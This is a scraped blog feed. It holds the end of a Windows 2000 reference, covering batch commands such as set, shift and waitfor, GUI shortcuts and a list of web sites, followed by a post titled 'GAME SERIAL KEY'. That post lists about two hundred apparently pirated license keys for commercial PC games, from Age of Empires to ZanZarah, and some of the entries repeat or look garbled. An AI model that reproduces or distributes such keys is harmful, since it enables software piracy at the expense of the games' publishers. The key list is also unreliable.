Space.&lt;br /&gt;
$_&lt;br /&gt;
Carriage return.&lt;br /&gt;
rem&lt;br /&gt;
rem anything&lt;br /&gt;
Comment line, ignored by the command interpreter.&lt;br /&gt;
set&lt;br /&gt;
Display/set a variable value.&lt;br /&gt;
set [var]&lt;br /&gt;
Display the value of the specified variable (or of all defined variables).&lt;br /&gt;
set var=string&lt;br /&gt;
Set the value of a string variable.&lt;br /&gt;
set /A var=numeric-expression&lt;br /&gt;
Set the variable to the result of the evaluated numeric expression.&lt;br /&gt;
setlocal. . .endlocal&lt;br /&gt;
setlocal begins a local environment within the script, which is terminated by endlocal.&lt;br /&gt;
shift&lt;br /&gt;
shift [/n]&lt;br /&gt;
Shift script or command arguments down one place, starting at argument n (if specified).&lt;br /&gt;
sleepRK&lt;br /&gt;
sleep secs&lt;br /&gt;
Pause script execution for the specified time period.&lt;br /&gt;
timeoutRK&lt;br /&gt;
timeout secs&lt;br /&gt;
Wait for the indicated number of seconds; -1 says to wait for a keystroke.&lt;br /&gt;
waitforRK&lt;br /&gt;
waitfor [-t timeout] signalname&lt;br /&gt;
Wait for the specified signal, optionally timing out after the specified number of seconds.&lt;br /&gt;
waitfor -s signalname&lt;br /&gt;
Send the specified signal.&lt;br /&gt;
1.24 Windows 2000 GUI Tips and Tricks&lt;br /&gt;
1.24.1 Using the Mouse&lt;br /&gt;
Shift-click (on items)&lt;br /&gt;
Select a range of adjacent items.&lt;br /&gt;
Control-click (on items)&lt;br /&gt;
Select multiple, but not necessarily adjacent, items.&lt;br /&gt;
Shift-click (in window close box)&lt;br /&gt;
Close the window and its parents.&lt;br /&gt;
Right-click (on item)&lt;br /&gt;
Bring up the item's shortcut menu (this includes its Properties). Pressing Alt-Enter&lt;br /&gt;
performs the same function for a selected item.&lt;br /&gt;
Shift-right-click (on an already selected item)&lt;br /&gt;
Include "Open with" selection in the item's shortcut menu.&lt;br /&gt;
Alt-double-click (on item)&lt;br /&gt;
Open the item's Properties. Pressing Alt-Enter when the item is selected does the&lt;br /&gt;
same thing.&lt;br /&gt;
Control-double-click (on folder)&lt;br /&gt;
Reverse the "always open new folder" browsing option setting.&lt;br /&gt;
Shift-double-click (on folder)&lt;br /&gt;
Open the folder in Explorer view instead of the normal browsing view.&lt;br /&gt;
1.24.2 Keyboard Shortcuts&lt;br /&gt;
Control-Tab, Control-Shift-Tab&lt;br /&gt;
Move between the tabs in a multipanel dialog box, in forward and reverse order,&lt;br /&gt;
respectively.&lt;br /&gt;
Backspace (when browsing)&lt;br /&gt;
Move up one directory level.&lt;br /&gt;
Ctrl-Esc&lt;br /&gt;
Bring up the Start menu.&lt;br /&gt;
F3 (desktop only)&lt;br /&gt;
Start the Find Files or Folders facility.&lt;br /&gt;
Shift-Delete (selected items)&lt;br /&gt;
Bypass the Recycle Bin for the currently selected files. You can also make this the&lt;br /&gt;
default behavior by right-clicking on the Recycle Bin and modifying its Properties.&lt;br /&gt;
Win-R&lt;br /&gt;
Open the Run dialog box.&lt;br /&gt;
Win-F&lt;br /&gt;
Open the Find Files or Folders facility.&lt;br /&gt;
Win-E&lt;br /&gt;
Open Windows Explorer.&lt;br /&gt;
Win-M&lt;br /&gt;
Minimize all currently open windows.&lt;br /&gt;
Win-Shift-M&lt;br /&gt;
Undo a Win-M operation.&lt;br /&gt;
Win-Break&lt;br /&gt;
Open the System Properties dialog box.&lt;br /&gt;
Win-U&lt;br /&gt;
Open the Accessibility Options Manager.&lt;br /&gt;
Win-x&lt;br /&gt;
Select the desktop items whose names begin with the specified letter in turn, when&lt;br /&gt;
that key combination is not already defined.&lt;br /&gt;
1.25 Useful Windows 2000 Web Sites&lt;br /&gt;
1.25.1 Site Lists&lt;br /&gt;
• http://dir.yahoo.com/Computers_and_Internet/Software/Operating_Systems/Window&lt;br /&gt;
s/Windows_NT/andWindows_2000/&lt;br /&gt;
• http://www.netmation.com/listnt.htm&lt;br /&gt;
1.25.2 Windows 2000 Information&lt;br /&gt;
• http://www.microsoft.com/windows2000/ (this is the official Microsoft site).&lt;br /&gt;
• http://www.ntsecurity.net (where to find security information, from the Windows&lt;br /&gt;
2000 Magazine).&lt;br /&gt;
• http://www.winntmag.com (this contains information on available hot fixes, plus the&lt;br /&gt;
latest Windows 2000-related news).&lt;br /&gt;
• http://support.microsoft.com/ (this is the search page for the Microsoft Knowledge&lt;br /&gt;
Base).&lt;br /&gt;
You may also go directly to the article Qnmopqr via the following path:&lt;br /&gt;
http://support.microsoft.com/support/kb/articles/qnmo/p/qr.htm (note that n may be&lt;br /&gt;
omitted).&lt;br /&gt;
1.25.3 Software Archives&lt;br /&gt;
• http://www.microsoft.com/windows2000/downloads/ (where Service Packs and hot&lt;br /&gt;
fixes are available).&lt;br /&gt;
• http://www.sysinternals.com (many advanced utilities are provided here, including&lt;br /&gt;
some code).&lt;br /&gt;
• http://32bit.bhs.com (Beverly Hills Software).&lt;br /&gt;
• http://www.nmrc.org/files/nt/ and http://www.nmrc.org/files/snt/ (Nomad Mobile&lt;br /&gt;
Research Centre; security/hacker-related items are found here).&lt;br /&gt;
• http://www.interlacken.com/winnt/ntrepage.asp?selpage=ntwebsrv and&lt;br /&gt;
http://www.interlacken.com/winnt/ntrepage.asp?selpage=sysadmin (these are Jim&lt;br /&gt;
Buyens' Windows Web Server Tools and System Administration Pages).&lt;br /&gt;
• http://www.winsite.com/winnt/ (this is the WinSite security archives).&lt;br /&gt;
• http://www.winportal.com (this is WinPortal, the original community for Windows&lt;br /&gt;
2000 users).&lt;br /&gt;
• http://www.netadmintools.com (useful tools for network administration are found&lt;br /&gt;
here).&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-7622896833726106453?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/7622896833726106453/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/06/windows-2000-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/7622896833726106453?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/7622896833726106453?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/06/windows-2000-commands.html' title='Windows 2000 Commands'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DkMDSXY6eip7ImA9WhVQE0o.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-5482653164049629665</id><published>2012-04-02T06:47:00.002-07:00</published><updated>2012-04-02T06:47:58.812-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-04-02T06:47:58.812-07:00</app:edited><title>GAME SERIAL KEY</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
Age of Empires - 510SD90177GA&lt;br /&gt;
&lt;br /&gt;
Age of Empires III. - DXR32-X44M7-CYTCX-P6H6P-97CPG&lt;br /&gt;
&lt;br /&gt;
Age of Dinosaur 3D - 2637515984&lt;br /&gt;
&lt;br /&gt;
Age of Mythology - 00000-00000-00000-00000-00000&lt;br /&gt;
&lt;br /&gt;
Age of Mythology:The Titans - CVF7C-QB3KY-GQW23-4DPF6-JDTVG&lt;br /&gt;
&lt;br /&gt;
Airports 2000 Vol2 - A2S0037865899&lt;br /&gt;
&lt;br /&gt;
Airports 2000 Vol3 - A2V3-E1700119-FE303EE8&lt;br /&gt;
&lt;br /&gt;
Aliens vs. Predator - LUR5-TAC8-LYJ6-WAAJ7-3777&lt;br /&gt;
&lt;br /&gt;
Aliens vs. Predator REC7-DAB8-XEN7-WEN3-2846&lt;br /&gt;
&lt;br /&gt;
Alone in the Dark 1 - 11 0831 3461&lt;br /&gt;
&lt;br /&gt;
Alone in the Dark 4: A New Nightmare - 4008-B491-1DC3-0F6C&lt;br /&gt;
&lt;br /&gt;
Aquanox - 0901-3066676-3327010-922&lt;br /&gt;
&lt;br /&gt;
Battlefield 1942 - 5000-0000000-0000000-1318&lt;br /&gt;
&lt;br /&gt;
Battlefield 1942: The Road to Rome - 9971-0190215-7122230-1410&lt;br /&gt;
&lt;br /&gt;
Battlefield 2 - 4L66-YDBY-TUYK-3QEJ-TEE7&lt;br /&gt;
&lt;br /&gt;
Battlefield Vietcong - V2W6-54VJ-9R11-XJPU-79CM&lt;br /&gt;
&lt;br /&gt;
Battle Mages - 3BQUX-Z6DR5-YFXRU-C3N5S-6VGP5&lt;br /&gt;
&lt;br /&gt;
Black &amp;amp; White - 0901-3324366-4702210-2081&lt;br /&gt;
&lt;br /&gt;
Black &amp;amp; White 2 - 0YYG-NSRE-FIGH-TING-4FUN&lt;br /&gt;
&lt;br /&gt;
Black &amp;amp; White: Creatures Island - 4963-7882913-5984076-1609&lt;br /&gt;
&lt;br /&gt;
Blade Runner - KD921A10007637&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C 4 Yuri's Rache - 042934-592829-117683-6047&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C 4 Alarstufe Rot 2 - 021254-848674-334871-5105&lt;br /&gt;
&lt;br /&gt;
Call of Dutty - GHHP-4X8S-8P24-SSG4-F774&lt;br /&gt;
&lt;br /&gt;
Call of Duty:United Offensive - 74B3-JN4N-4WT4-WRHN-64BF&lt;br /&gt;
&lt;br /&gt;
Call of Dutty 2 - YEZL-GZWX-XQZG-GEGU-EEFC&lt;br /&gt;
&lt;br /&gt;
Comandos 3 - 2738029485702938432498902&lt;br /&gt;
&lt;br /&gt;
Chaser - 04WF-N7CS5-27XP7-0VHSS-VD7XH&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Red Alert 2 - 020736-428526-011875-6507&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Red Alert 2:Yury's Revengen - 043930-288237-966022-4511&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Renegade - 056606-674119-124870-9258&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Tiberian Sun - 000722-000722-000722-7575&lt;br /&gt;
&lt;br /&gt;
Commanche 4 - 3S2D-FLT1-CLS2-RULE-7865&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Red Alert 2 - 020736-428526-011875-6507&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Red Alert 2:Yury's Revengen - 043930-288237-966022-4511&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Renegade -056606-674119-124870-9258&lt;br /&gt;
&lt;br /&gt;
C&amp;amp;C:Tiberian Sun - 000722-000722-000722-7575&lt;br /&gt;
&lt;br /&gt;
Commanche 4 - 3S2D-FLT1-CLS2-RULE-7865&lt;br /&gt;
&lt;br /&gt;
Cricket 2002 -4792-1088041-926936-4601&lt;br /&gt;
&lt;br /&gt;
Cross Racing Championship 2005 - M3CZ-P5186-XNEYL-CL0T7-513NT&lt;br /&gt;
&lt;br /&gt;
Cultures 2 - NQSD-090Z-B4QN-02KZ-VO57&lt;br /&gt;
&lt;br /&gt;
DOOM 3 Resurrection of Evil - PSBC-TASC-33WB-PH7L-C0&lt;br /&gt;
&lt;br /&gt;
Diablo 2 - 4Z7E-8NJM-ECM9-7GJW&lt;br /&gt;
&lt;br /&gt;
Dark Age of Camelot -HL9GNWW-WKFPMVQ-MJMDY6L-YCRGN6A-M1JGYB1&lt;br /&gt;
&lt;br /&gt;
Delta Force - LJZR-ULTL-DCAE-7FRZ-2QRP&lt;br /&gt;
&lt;br /&gt;
Delta Force:Black Hawk Down - QZP3-EPZW-SP5N-2XEX-H7JG&lt;br /&gt;
&lt;br /&gt;
Delta Force:Black Hawk Down-Team Sabre - AV4E-YVQE-NACM-DD3M-KBW3BW3&lt;br /&gt;
&lt;br /&gt;
Delta Force 2 - 288T-9AJ2-CVXN-BYSS-NNZW&lt;br /&gt;
&lt;br /&gt;
Delta Force 3:Land Warrior -N5E3-YXH2-G983-9WYB-B3ZS&lt;br /&gt;
&lt;br /&gt;
Delta Force:Task Force Dagger - 72YL-R4SB-GKG6-3WKS-HQ27&lt;br /&gt;
&lt;br /&gt;
Diablo 2:Lord of Destruction - 6PNP-D7PG-HZ8M-PZNP&lt;br /&gt;
&lt;br /&gt;
Devastation - 5B36F-976AA-6A471-58B8D-92B7B&lt;br /&gt;
&lt;br /&gt;
Doom 3 - PVXB-L6U7-JPUZ-V3ND-B4&lt;br /&gt;
&lt;br /&gt;
Doom 3:Resurection of Evil - PSBC-TASC-33WB-PH7L-C0&lt;br /&gt;
&lt;br /&gt;
Dune Emperor:Battle for Dune - 038785-895894-747474-9011&lt;br /&gt;
&lt;br /&gt;
Dune 3 - 036642-256734-246754-5204&lt;br /&gt;
&lt;br /&gt;
Empire of dune - 031528-834681-023996-9003&lt;br /&gt;
&lt;br /&gt;
Empire Earth - ran6-mug2-syj2-gyl7-3385&lt;br /&gt;
&lt;br /&gt;
Empire Earth The art of conquest - tuf2-xac4-cum3-zen2-2884&lt;br /&gt;
&lt;br /&gt;
Empire Earth 2 - TAR7-GEB6-GAL9-BUL6-5343&lt;br /&gt;
&lt;br /&gt;
Earth 2150: Lost Souls - 7XJC-UD2E-E83L-Z5T5&lt;br /&gt;
&lt;br /&gt;
Emperor:Battle for dune - 036642-256734-246754-5204204&lt;br /&gt;
&lt;br /&gt;
Emperor:Rise Middle Kingdom - BAC9-RAL8-SAS2-SAX2-9999&lt;br /&gt;
&lt;br /&gt;
Empire Earth:Art of Conquest - GER2-MAN2-RAP2-PER5-2252&lt;br /&gt;
&lt;br /&gt;
F.E.A.R. - BAC-DCCC-NCCC-CCC-1233&lt;br /&gt;
&lt;br /&gt;
Fifa 2001 worl cup - 4521-0294200-3549899-3446&lt;br /&gt;
&lt;br /&gt;
Fifa 2002 world cup - 2087-9195279-9016764-0022&lt;br /&gt;
&lt;br /&gt;
Fifa 2003 world cup - RYVU-8UDY-ZZ5W-RVWD&lt;br /&gt;
&lt;br /&gt;
Fifa 2004 world cup - JF8Y-Z9Y2-8S46-A44N-NDER&lt;br /&gt;
&lt;br /&gt;
Fifa 2005 world cup - NYHZ-38PW-8LDN-R7L7-7RLD&lt;br /&gt;
&lt;br /&gt;
Fifa 2006 world cup - PV3T-6YXM-T2LZ-MT2N-3RLD&lt;br /&gt;
&lt;br /&gt;
F1 2001 - 4500-8231935-2120930-1077&lt;br /&gt;
&lt;br /&gt;
F1 2002 - 7931-9865028-6024865-1156&lt;br /&gt;
&lt;br /&gt;
F1 Championship Season - 20001500-8510031-6424109-3971&lt;br /&gt;
&lt;br /&gt;
F1 Challenge - 3003-2986583-3827742-2403&lt;br /&gt;
&lt;br /&gt;
Freedom Fighters - PQGY-4FAQ-TMQ5-Q4X8-KXCS&lt;br /&gt;
&lt;br /&gt;
Frontline Attack:War over Europe - FUBP-EYNZ-KFXC-SKM2&lt;br /&gt;
&lt;br /&gt;
GTA San Andreas - kme5-59m5-4iq4-dfa9&lt;br /&gt;
&lt;br /&gt;
Gunman Chronicles - 2609-57245-0368&lt;br /&gt;
&lt;br /&gt;
Galactic Civilizations - DN-627806-GC1-AEDAF6040A&lt;br /&gt;
&lt;br /&gt;
Gotfater - ADQQ-G24G-BNAG-VBNY-7RLD&lt;br /&gt;
&lt;br /&gt;
Global Operations - 5000-00000000-0000000-5021&lt;br /&gt;
&lt;br /&gt;
Generals Zero Hours - Y83K-CT4F-VL2X-4X4M-SW8X&lt;br /&gt;
&lt;br /&gt;
Hitman 2 - PGC45WA7T7XNBU6YA6BW&lt;br /&gt;
&lt;br /&gt;
Haegemonia:Legions of Iron - A3B3-84A6-F25B-35E3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Half-Life - 4336-04196-6119 nebo 3681-91323-4731&lt;br /&gt;
&lt;br /&gt;
Half-Life:Blue Shift - 2884-52653-7164&lt;br /&gt;
&lt;br /&gt;
Half-Life:Counter strike - 4422-93598-8995&lt;br /&gt;
&lt;br /&gt;
Half-Life:Game of the Year Edition - 4336-04196-6119&lt;br /&gt;
&lt;br /&gt;
Half-Life:Initial Encounter - 0176-11134-0245&lt;br /&gt;
&lt;br /&gt;
Half-Life:Opposing Force - BUF5-ZED4-DUD6-GYS8-4662&lt;br /&gt;
&lt;br /&gt;
Harry Potter and the Chamber of Secrets - 1612-4431389-3567081-2617&lt;br /&gt;
&lt;br /&gt;
Harry Potter and the Philosopher's Stone - 0901-7014788-4117807-0206&lt;br /&gt;
&lt;br /&gt;
Hary Potter and prisoner of Askaban - GQAJ-4LD8-S6HQ-U9NL-5YP3&lt;br /&gt;
&lt;br /&gt;
Harry Potter Quidditch Cup - BH4U-GCNX-WMJ8-ZGKY-4DEV&lt;br /&gt;
&lt;br /&gt;
Heli Heroes - DJP9-MXYL-7AU2-ZXW5&lt;br /&gt;
&lt;br /&gt;
Heroes Of Might And Magic 8 - WFCG545234QB&lt;br /&gt;
&lt;br /&gt;
Homeworld2 - NAS3-DEC2-BYJ5-CUJ6-8385385&lt;br /&gt;
&lt;br /&gt;
Hooligans - 4F9QD5-SF4WD5-A681FA-AD1ASD&lt;br /&gt;
&lt;br /&gt;
International Cricket Captain 2001 - VPC5-3NR5-I58K&lt;br /&gt;
&lt;br /&gt;
Industry Giant 2 - 4P68-KLOW-XUVL-7ED2&lt;br /&gt;
&lt;br /&gt;
Island Xtreme Stunts - 1500-0807060-6130480-2623&lt;br /&gt;
&lt;br /&gt;
James Bond 007 Nightfire - 17409488-24551711525578&lt;br /&gt;
&lt;br /&gt;
King kong - C4JRA-YK9AL-86ABQ-GF5VG-MKF37&lt;br /&gt;
&lt;br /&gt;
Kingdom Under Fire - E1KJ-RL62-COO7-FT96&lt;br /&gt;
&lt;br /&gt;
Kohan:Ahriman's Gift - 1001-DEAD-DEAD-0037&lt;br /&gt;
&lt;br /&gt;
Kohan:Immortal Sovereigns - 5DE5-EA10-EF80-2D06&lt;br /&gt;
&lt;br /&gt;
Medal of honor:Pacific assault - ZGFX-9N55-TXMV-ZAU3-RRLD&lt;br /&gt;
&lt;br /&gt;
Medal of honor:Alied Assault - 5000-0000000-0000000-5068&lt;br /&gt;
&lt;br /&gt;
NBA live 2001 - 2001 0020601 0010978 6694&lt;br /&gt;
&lt;br /&gt;
NBA live 2003 - 1124-8E60-C075-83YS&lt;br /&gt;
&lt;br /&gt;
NBA live 2004 - R9Z9-K93C-2NEC-ROMA-NCER&lt;br /&gt;
&lt;br /&gt;
NBA live 2005 - GM4C-7UHZ-QBSR-THUB-FRLD&lt;br /&gt;
&lt;br /&gt;
NBA live 2006 - G7QY-ZBHS-VNSW-HGVM-HFJ2&lt;br /&gt;
&lt;br /&gt;
Need for speed 2 - w9lg-c5td-gmld-aze7&lt;br /&gt;
&lt;br /&gt;
Need for speed 5 - 14077 BUSY CODA CALF BIFF&lt;br /&gt;
&lt;br /&gt;
Need for speed 6 hot pursuit 2 - C2VS2WF2ECV2WGZ&lt;br /&gt;
&lt;br /&gt;
Need for speed Underground - A7AJ-23NQ-GWA6-JNAW-SDEV&lt;br /&gt;
&lt;br /&gt;
Need for Speed:Underground 2 - 7BGQ-PUZ9-TE4T-BXEH-RLD0&lt;br /&gt;
&lt;br /&gt;
Need for Speed:Most Wanted - 9LJS-K228-5N4F-X5OK-FDEV&lt;br /&gt;
&lt;br /&gt;
Need for speed Most Wanted - HG34-P09L-J76E-MNH2-0JZR&lt;br /&gt;
&lt;br /&gt;
NHL 2001 - 1500781832203519682357&lt;br /&gt;
&lt;br /&gt;
NHL 2002 - 1000-2003004-0000000-4904&lt;br /&gt;
&lt;br /&gt;
NHL 2003 - MQSA-XY1H-3BLE-FAM7&lt;br /&gt;
&lt;br /&gt;
NHL 2004 - R9NN-WA4K-6NEC-ROMA-NCER&lt;br /&gt;
&lt;br /&gt;
NHL 2005 - NG7F-DB8J-6E6V-CTQT-SE13&lt;br /&gt;
&lt;br /&gt;
NHL 2006 - 88T3-SCYN-AYBK-MQ78-JL62&lt;br /&gt;
&lt;br /&gt;
Nascar 4 - GAC7-FAB2-DYX4-DEF2-4849&lt;br /&gt;
&lt;br /&gt;
Nascar Craftsman Truck Series - DES6-DAB2-ZEL6-CAX2-5799&lt;br /&gt;
&lt;br /&gt;
Nascar Racing 2000 - 14044-BUSY-LISA-SLOP-VIVA&lt;br /&gt;
&lt;br /&gt;
Nascar Racing 2002 - RAF2-RAL2-RAS2-RAX2-6667&lt;br /&gt;
&lt;br /&gt;
Nascar Thunder 2003 - NASC-ARTH-UNDE-RJAM&lt;br /&gt;
&lt;br /&gt;
No One Lives Forever:Contract J.A.C.K. - XYR9-FEB6-CYP5-NUG3-7248&lt;br /&gt;
&lt;br /&gt;
Neverwinter Nights - JALTY-4D9J9-AWNW4-GNUUC-VLGQA-XTVCM-PRFXM&lt;br /&gt;
&lt;br /&gt;
Neverwinter Nights:Shadows of Undrentide - RX4KP-Y6P9Q-6H6PL-GRCK7-FFP7G-PJ64E-DA9J6&lt;br /&gt;
&lt;br /&gt;
Neverwinter Nightsreast - 4PRMD-YGU6N-G6J4C-9DVWQ-XXNEK-WGFPJ-79PFH&lt;br /&gt;
&lt;br /&gt;
Operation Flashpoint - 0L7S-CJWWD-YFNSP-VE7SA-1KGZM&lt;br /&gt;
&lt;br /&gt;
Operation Flashpoint:Gold: Red Hammer - M3CZ-P5186-XNEYL-CLOT7-513NT&lt;br /&gt;
&lt;br /&gt;
Operation Flashpoint:Red Storm - 28H4-4873-3875G4-8472&lt;br /&gt;
&lt;br /&gt;
Pariah - FG2PP-5BQAE-45T5F-NJ983-3UUNA-L2KQC&lt;br /&gt;
&lt;br /&gt;
Painkiller - 8B0B-AE17-CBC5-AA079863H&lt;br /&gt;
&lt;br /&gt;
PES 5 - WY3A-MWUE-7JF5-HJHE-AL7L&lt;br /&gt;
&lt;br /&gt;
Port Royale - OODXO-OJHCD-CKCBY-VNBDD-G85F8&lt;br /&gt;
&lt;br /&gt;
Precision Pilot - CVQ-14129-NPX&lt;br /&gt;
&lt;br /&gt;
Primitive Wars - 17Z0-0C00-01200&lt;br /&gt;
&lt;br /&gt;
Project I.G.I. 2: Covert strike - 1320-615D-BA73-52EC&lt;br /&gt;
&lt;br /&gt;
Quake 3: Arena - CJRAH7BPGW32LSTD&lt;br /&gt;
&lt;br /&gt;
Quake 3:Team Arena - TSBH-7CCG-DPWP-B2LT-84&lt;br /&gt;
&lt;br /&gt;
Roller Coaster Tycoon 3 - xa3d-fwp8-ullk-s7j2-etwn-45ul&lt;br /&gt;
&lt;br /&gt;
Rally Championship Xtreme - WHFNK6-VB3HSN-9HGN86-TPSRHF&lt;br /&gt;
&lt;br /&gt;
Rails Across America - 1499-C1EE-1B1F-F546&lt;br /&gt;
&lt;br /&gt;
Rise of Nations - RXVC3-B3347-DVG9X-FTFQF-9M7XT&lt;br /&gt;
&lt;br /&gt;
Rally Trophy - 4A65-7AF9-8487-62D4&lt;br /&gt;
&lt;br /&gt;
Real Air Traffic Controller 2 - 044-0800-23000007152226&lt;br /&gt;
&lt;br /&gt;
Red Ace Squadron - B1292168-EF12-43D3-B64A-3CEC766DF859&lt;br /&gt;
&lt;br /&gt;
Return To Castle Wolfenstein - CLAL-A7WJ-DTSJ-WARP-88&lt;br /&gt;
&lt;br /&gt;
Route 66 Evropa - 247661332BSFZ&lt;br /&gt;
Sacred 3A0XB-AL5MU-9GBPH-RMHC5&lt;br /&gt;
Serious Sam 2 041c-046c-7e67-cf02 40f8-6dc0-2c90-92a5&lt;br /&gt;
Settlers 3 5283-1250-7830-4031-8602&lt;br /&gt;
Settlers 3:Quest of The Amazons 9978-3032-0347-4546&lt;br /&gt;
Settlers 4 2188-0214-3297-7146-5094&lt;br /&gt;
Shogun:Total War 1600-0052410-0052410-6424 1507-5450041-3504115-1538&lt;br /&gt;
Shogun:Total War:Mongol Invasion 4505-5365525-1636262-0821&lt;br /&gt;
Silent Hunter 3 MH39X-XFUNW-ZQ3DQ-HJB3J-8WC9X&lt;br /&gt;
Sim City 4 NCM4-RHYX-6QMX-DX4M&lt;br /&gt;
Sim City 4:Rush Hour CLC4-5ZU8-6C4S-9W46-LS4E DG4C-ZDYT-3QSY-E3E7-PUVY&lt;br /&gt;
Singles:Flirt up your life EXLSAN-LEP775-AR88MF-5M5NQS&lt;br /&gt;
Ski Racing EALH-KH87-L0K6-LOOD&lt;br /&gt;
Soldier of Fortune LAB4-RUB8-MAP6-NUR6-5587 NAR8-FAJ6-JAL4-RYJ7-4867&lt;br /&gt;
Soldier of Fortune 2 P7PX-FZMK-WZ47-PRTR-C2&lt;br /&gt;
Soldier of Fortune 2:Double helix MTKW-FTMK-EMFE-W3P3-B7 3Z4J-J3PP-K848-EWPK-1F&lt;br /&gt;
Soldiers of Anarchy DUDK-61FG-G7KY-DB64 JD7S-7D5B-GEYC-EXW6&lt;br /&gt;
Spell Force: the Order of Dawn 6HGDN-NTFLM-VCS7N-8613K-NN6TL&lt;br /&gt;
Spellforce NVHI-1K54-0000-0001&lt;br /&gt;
Star Wars:Battlefront f2e4-101f-d6f8-26aa-eu20 637e-aead-6537-d940-pa40&lt;br /&gt;
Star Wars:BattleFront 2 65d5-c9e-602-a546-eu20 ca37-8f8-e7b-dfa3-eu20&lt;br /&gt;
Star Wars:Empire at War fc4c-3d8-05f-d411-uk20&lt;br /&gt;
StarCraft 1234-56789-1234 1998-00000-1997&lt;br /&gt;
Swat 3 Bac2-BaB2-BaB2-BaB2-2352&lt;br /&gt;
SWAT 3:Close Quarters Battle TER2-NAB8-PAB9-SEM7-5658&lt;br /&gt;
SWAT 3:Elite Edition LYF9-JUB4-BUM3-ZED7-9774&lt;br /&gt;
SWAT 4 NYD2-MAB8-REJ3-MYM6-4733&lt;br /&gt;
Swat 4 datadisk TUB3-WEB8-LER8-PYT7-8327&lt;br /&gt;
Terminator 3:War of the machines DEVV-STUQ-S6PL-Y49P&lt;br /&gt;
The Gladiators UK-9B4E-FFFF-F6FA-770C-BD42&lt;br /&gt;
The Godfather VSWW-X58A-D97A-4D95-CRLD ADQQ-G24G-BNA6-VBNY-7RLD&lt;br /&gt;
The Sims 100486-585530-905808-0928 100553-220953-426455-5207&lt;br /&gt;
The Sims 2 B4FX-9TED-7JKD-4SUK-P3YJ DWJ2-Q92Z-R1R1-5F6R-077P&lt;br /&gt;
The Sims 2:Nightlife NJ99-FNBL-7DEV-6A24-QDEV RP77-LS3G-ADEV-YUUK-GDEV&lt;br /&gt;
The Sims 2:University R44C-HRNL-VUCT-8WAZ-U1G9 6PFX-W8AH-MVNG-X90X-F4JH&lt;br /&gt;
Tony Hawks Pro Skater 4 P4EPBTIQDAIH7WXZ&lt;br /&gt;
Tony Hawk's:Undergraund 2 BUUG-CFB3-2CKA-UYMG-E15F&lt;br /&gt;
Track Mania L29B7K-C8DMF5-PGM5YS-U6ED3J&lt;br /&gt;
Track Mania:Power Up 8RGJNH-4LKANA-D2D9YV-B9YSW4&lt;br /&gt;
Track Mania:Power Up (multiplayer) 45WC-45JC-MHM5-DYKJ-C44&lt;br /&gt;
Train Sim:The Activities 6850-YV6AYS6B&lt;br /&gt;
Trainz Rairoad Simulator 2004 ATRS-29HM-AQWZ-7DTK-Z8ZD-CAZK&lt;br /&gt;
UEFA Euro 2004 HZ9H-CFTP-F7XH-L69S-UC6V 08BK-5ZWR-FIGH-TING-4FUN&lt;br /&gt;
Unreal Tournament 6YZ9J-C7KBE-A2ANQ-J2WJZ&lt;br /&gt;
Unreal Tournament 2004 3HJKN-RM4VE-ADPUQ-EZX3A P7GX9-6RDDB-ANMRM-QGK2X&lt;br /&gt;
Unreal Tournament 2005 98MVW-F4ZBD-AKXYN-FZH3L&lt;br /&gt;
Vampire:The Masquerade Redemption RAC2-SAL2-GAT3-RAD3-7885&lt;br /&gt;
Vietcong 2 AAG8-7VRQ-99TI-V9V6-L9M9 NA11-AMB8-751R-4DR8-US7R&lt;br /&gt;
Warcraft 2 6696-2TGV-TT64-CNMV&lt;br /&gt;
WarCraft 3 (beta) HJOPZL-BSVT-AMEKLW-YN77-A4HVUC U8ABO0-RE7K-WMJL88-1WAQ-RT0O7Q&lt;br /&gt;
&lt;br /&gt;
WarCraft 3:The Frozen Throne KHH2BT-N98D-KZKVBT-DYC4-WHNXNH BP6JCF-NKJB-ZPE7R7-ZWBY-R6H6Z2&lt;br /&gt;
WarCraft 3:The Reign of Chaos U8ABOS-RE7K-WMJL88-1WAQ-RT0O7Q&lt;br /&gt;
Warhammer 40000 Dawn of War CCD7-C38D-CAE4-CBFD 6337-3502-3E72-0523&lt;br /&gt;
World War III:Black Gold 4MU5-6ULW-454L-4222&lt;br /&gt;
World war 3:Black gold RL7W-8XZA-YMM8-8222&lt;br /&gt;
Xpand Rally QCZGQ-8ZSZF-28685-RBEBA-K3BT9Y&lt;br /&gt;
Zax:The Alien Hunter 1588-8938-7622-6400-6828&lt;br /&gt;
ZanZarah:The Hidden Portal &amp;nbsp;1F57-7JJ3-UHN3-P0PA-ZXED&lt;br /&gt;
